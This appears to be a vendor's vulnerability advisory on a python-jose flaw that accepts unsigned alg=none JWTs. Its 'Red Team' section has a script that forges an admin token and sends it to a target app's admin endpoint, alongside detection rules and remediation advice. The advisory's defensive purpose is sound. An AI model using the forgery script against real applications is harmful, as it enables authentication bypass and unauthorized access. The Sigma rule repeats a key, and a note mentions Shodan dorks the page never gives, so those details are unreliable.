CVE-2025-61152
Executive Summary
CVE-2025-61152 is a critical vulnerability in the python-jose library (versions through 3.3.0) that allows JWT tokens with the alg=none header to be decoded and accepted without any cryptographic signature verification. This flaw enables a malicious actor to craft a forged JWT token with arbitrary claims (e.g., is_admin=true) and bypass authentication checks, leading to privilege escalation or unauthorized access in applications that rely on python-jose for token validation. The vulnerability is exploitable unless developers explicitly reject alg=none tokens, which is not enforced by the library. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the technical impact is severe.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the python-jose package available on PyPI. Applications using this library for JWT validation are at risk if they do not explicitly reject tokens with alg=none. The library does not enforce secure defaults, making it a supply chain risk. Developers must ensure they are using a patched version or implement manual validation to reject alg=none tokens.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
- Base Score: 9.1 (Critical)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: High (I:H)
- Availability Impact: None (A:N)
The vulnerability is critical due to the low attack complexity and the potential for complete authentication bypass.
Deep Dive & Mechanics
The python-jose library, when processing a JWT token, checks the alg header to determine the algorithm used for signature verification. The JWT specification (RFC 7519) defines the none algorithm as a valid option for unsecured JWTs, but it should only be accepted in contexts where integrity is not required. However, python-jose does not enforce this restriction by default. When a token with alg=none is presented, the library skips signature verification entirely, allowing an attacker to forge tokens with arbitrary claims.
The core issue lies in the jose.jwt.decode() function, which does not validate the alg header against a whitelist of allowed algorithms. An attacker can craft a JWT with the header {"alg":"none"} and any payload (e.g., {"sub":"admin","is_admin":true}), and the library will accept it as valid without checking a signature.
Vulnerable vs. Patched Code
Vulnerable Code (python-jose <= 3.3.0):
from jose import jwt
# This will accept a token with alg=none without verification
token = "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImlzX2FkbWluIjp0cnVlfQ."
claims = jwt.decode(token, key=None, algorithms=None)
print(claims) # Output: {'sub': 'admin', 'is_admin': True}
Patched Code (Manual Fix):
from jose import jwt
# Explicitly reject alg=none by specifying allowed algorithms
token = "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImlzX2FkbWluIjp0cnVlfQ."
try:
claims = jwt.decode(token, key="your-secret-key", algorithms=["HS256", "RS256"])
except jwt.JWTError:
print("Invalid token")
The patched code explicitly specifies allowed algorithms, which causes the library to reject tokens with alg=none because it is not in the allowed list.
Exploitation & Lab Setup
Red Team
Lab Setup:
- Install vulnerable python-jose:
pip install python-jose==3.3.0 - Create a simple Flask app that uses
jwt.decode()without specifying allowed algorithms.
Exploit Script:
import jwt
import base64
import json
# Craft a JWT with alg=none
header = {"alg": "none", "typ": "JWT"}
payload = {"sub": "admin", "is_admin": True}
# Encode header and payload
header_b64 = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b'=').decode()
payload_b64 = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=').decode()
# Create the token (no signature)
token = f"{header_b64}.{payload_b64}."
print(f"Forged Token: {token}")
# Test against vulnerable app
import requests
response = requests.get("http://target-app.com/admin", headers={"Authorization": f"Bearer {token}"})
print(response.status_code, response.text)
Expected Outcome: The forged token is accepted, granting unauthorized access to admin functionality.
Blue Team
Detection Steps:
- Monitor for JWT tokens with
alg=nonein HTTP headers. - Implement logging of all JWT validation failures.
- Use the detection rules below to identify exploitation attempts.
Mitigation in Code:
from jose import jwt
# Always specify allowed algorithms
def verify_jwt(token, secret):
try:
claims = jwt.decode(token, key=secret, algorithms=["HS256", "RS256"])
return claims
except jwt.JWTError:
return None
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests with
Authorization: Bearerheader containing a JWT withalg=none. - JWT tokens with only two segments (header.payload) instead of three (header.payload.signature).
- HTTP requests with
- File IOCs:
- Log entries showing JWT decode failures with
alg=none.
- Log entries showing JWT decode failures with
- Behavioral IOCs:
- Unauthorized access to admin endpoints without proper authentication.
Detection Engineering
YARA Rule
rule Detect_JWT_alg_none {
meta:
description = "Detects JWT tokens with alg=none in HTTP headers or logs"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-61152"
strings:
$alg_none = /"alg"\s*:\s*"none"/ nocase
$jwt_header = /eyJ[A-Za-z0-9_-]+\.eyJ[A-Za-z0-9_-]+\.?/
condition:
$alg_none and $jwt_header
}
Sigma Rule
title: Detection of JWT Token with alg=none
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests containing JWT tokens with alg=none header
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: generic
detection:
selection:
http.request.headers.authorization|contains: "eyJ"
http.request.headers.authorization|contains: "alg"
http.request.headers.authorization|contains: "none"
condition: selection
falsepositives:
- Legitimate use of unsecured JWTs in internal systems
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-61152 JWT alg=none Exploit Attempt"; flow:to_server; content:"Authorization"; nocase; content:"Bearer"; distance:0; content:"eyJ"; distance:0; pcre:"/\"alg\"\s*:\s*\"none\"/i"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Fix: Update to a patched version of
python-joseif available. If not, manually rejectalg=nonetokens by specifying allowed algorithms injwt.decode(). - Code Change: Always pass the
algorithmsparameter tojwt.decode()with a whitelist of accepted algorithms (e.g.,["HS256", "RS256"]). - Network Controls: Deploy WAF rules to block requests with JWT tokens containing
alg=none. - Monitoring: Enable logging of all JWT validation failures and alert on
alg=noneattempts. - Supply Chain: Regularly audit dependencies for known vulnerabilities using tools like
pip-auditor Snyk.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.